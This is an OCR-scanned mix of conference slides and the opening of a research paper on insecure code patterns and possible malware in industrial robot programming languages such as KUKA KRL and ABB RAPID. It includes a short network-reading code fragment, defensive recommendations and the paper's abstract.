
check if there is data form network

"EkiHwInterface", "RobotCommand/Pos/@A1")

return eki_ret.buff
endfct

deffctfint eki_hw_iface_get(joint_pos_cmd :out) ; read data from network |

decl eki_status eki_ret
decl axis joint_pos_cmd

g

eki_ret = eki_checkbuffer(

"EkiHwInterface", "RobotCommand/Pos/@A1")

if eki_ret.buff <= @ then
return @
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Patching
Automatic code scanning

Security libraries

e st
Code signing

KRL KUKA

MELFA BASIC Mitsubishi

AS Kawasaki

PDL2 COMAU

PacScript DENSO

URScript Universal-Robot
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Conclusions

* feels like 25 years ago: remember the first vulns in web apps?
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Conclusions

* feels like 25 years ago: remember the first vulns in web apps?

* No resource isolation: if bad things happen...can be very bad!
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Conclusions

* feels like 25 years ago: remember the first vulns in web apps?
* No resource isolation: if bad things happen...can be very bad!

* Automation engineers: please follows security guidelines
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Conclusions

* feels like 25 years ago: remember the first vulns in web apps?
* No resource isolation: if bad things happen...can be very bad!
* Automation engineers: please follows security guidelines

* CISOs: please consider to audit logic written in proprietary languages!
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Get in Touch and Stay Tuned

* We have a working prototype that can find vulnerabilities in

* ABB RAPID
* KUKA KRL

* If you’re interested: get in touch with us!

https://robosec.org

Detecting Insecure Code Patterns in Industrial Robot Programs
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Abstract
Industrial robots are complex and customizable machines that can
be programmed with proprietary domain-specific languages. These

languages provide not only movement instructions, but also access
to low-level system resources such as the network or the file system.
Although useful, these features can lead to taint-style vulnerabilities
and can be misused to implement malware—on par with general-
purpose programming languages. In this paper, we analyze the
languages of 8 leading industrial robot vendors, systematize their
technical features, and discuss cases of vulnerable and malicious

© 2020 Trend Micro Inc.

Stefano Zanero
Politecnico di Milano
stefano.zanero@polimi.it

systems, and IT and OT networks in the factory floor. Industrial
robots can be programmed online, using the “teach by showing”
method, or offline, using purpose-built, domain-specific program-
ming languages. These industrial robot programming languages (IR-
PLs) include special instructions to move the robot’s arm(s), as well
as common control-flow instructions and APIs to access low-level
resources. Writing task programs (i.e., the programs that define
the task to execute) in IRPLs is useful to implement custom tasks
and integrate external systems in the production process. IRPLs
provide access—in an almost unconstrained way—to several robot’s

resources like its mechanical arm(s), file-system, network, various
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